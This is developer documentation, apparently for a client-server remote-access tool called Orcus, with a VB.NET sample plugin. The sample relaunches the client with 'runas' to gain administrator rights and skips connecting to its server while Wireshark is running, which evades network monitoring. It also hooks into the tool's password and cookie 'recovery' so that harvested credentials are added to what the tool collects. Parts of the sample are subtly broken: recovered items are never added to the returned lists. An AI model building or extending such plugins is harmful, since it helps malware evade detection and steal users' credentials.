Client Plugin


A client plugin affects the behavior of the client. It gets directly injected into the build and is not able to interact with an administration. It can influence if the client can start and if it can try to connect to a server. Also, it can contribute to the password recovery.

Needed libraries

Let's start

Because this is a plugin which will be loaded by the client, we have to address the .Net Framework 3.5. We create a default Class Library project.

The next thing to do is to add the interface library Orcus.Plugins.dll to the references. You can do that with a right click on References in the Solution Explorer and then a click on Add Reference.... You can find the library in the /libraries folder of your Orcus package. Make sure that you have the newest version. Next we create a new class called Plugin (the name doesn't matter, but it makes clear that it's the entry point). REALLY IMPORTANT: the class must be public.

For a client plugin, we have to inherit from ClientController. Now, you are able to overwrite the sub you want to react to. A full list can be found in the documentation.

Imports System.IO
Imports Orcus.Plugins
Imports Orcus.Shared.Commands.Password

Public Class Plugin
	Inherits ClientController
	Private ReadOnly _myImportantFile As String
	Private _content As String

	Public Sub New()
		_myImportantFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "datFile.txt")
	End Sub

    Public Overrides Function InfluenceStartup(clientStartup As IClientStartup) As Boolean
        If Not clientStartup.IsAdministrator Then
            Dim process = New Process With {.StartInfo = New ProcessStartInfo With {.FileName = clientStartup.ClientPath, .Verb = "runas"}}
            If process.Start()
                Return True
            End If
        End If
        Return True
    End Function

	Public Overrides Function CanTryConnect() As Boolean
		Return Process.GetProcessesByName("wireshark.exe").Length = 0
	End Function

	Public Overrides Sub Install(executablePath As String)
		File.WriteAllText(_myImportantFile, "hello")
	End Sub

	Public Overrides Sub Uninstall()
		Dim file = New FileInfo(_myImportantFile)
		If file.Exists Then
		End If
	End Sub

	Public Overrides Function RecoverPasswords() As List(Of RecoveredPassword)
        Dim myPasswords = new List(Of RecoveredPassword)
        Dim password = new RecoveredPassword()
        password.Application = "MyApp"
        password.UserName ="Sorzus"
        password.Password = "123456"
        password.Field1 ="This is a test"
        password.PasswordType = PasswordType.Other

        Return myPasswords
	End Function

	Public Overrides Function RecoverCookies() As List(Of RecoveredCookie)
        Dim myCookies = new List(Of RecoveredCookie)
        Dim cookie =  New RecoveredCookie()
        cookie.ApplicationName ="MyApp"
        cookie.Name ="This is also a test"

        Return myCookies
	End Function

	Public Overrides Sub Start()
		_content = File.ReadAllText(_myImportantFile)
	End Sub

	Public Overrides Sub Shutdown()
		File.WriteAllText(_myImportantFile, _content)
	End Sub
End Class

Here is a small sample code which demonstrates what's possible using the ClientController. As you can see, you can install something for you in the Install sub and uninstall it in the Uninstall sub. You can load something at startup in the Start sub and unload it in the Shutdown sub.

This plugin would not let the application run without administrator rights. As you can see, in the InfluenceStartup function you can prevent the application from running by returning false. You have access to the application path and some other useful information (IClientStartup). Also, you can decide if the client should try to connect to a server. If the return value of the CanTryConnect function is false, it won't try to connect and wait the defined time until it recalls the function.

Last, you can at passwords and cookies if the user uses the default password recovery of Orcus. The returned values will be added to the values Orcus found.

Sample Projects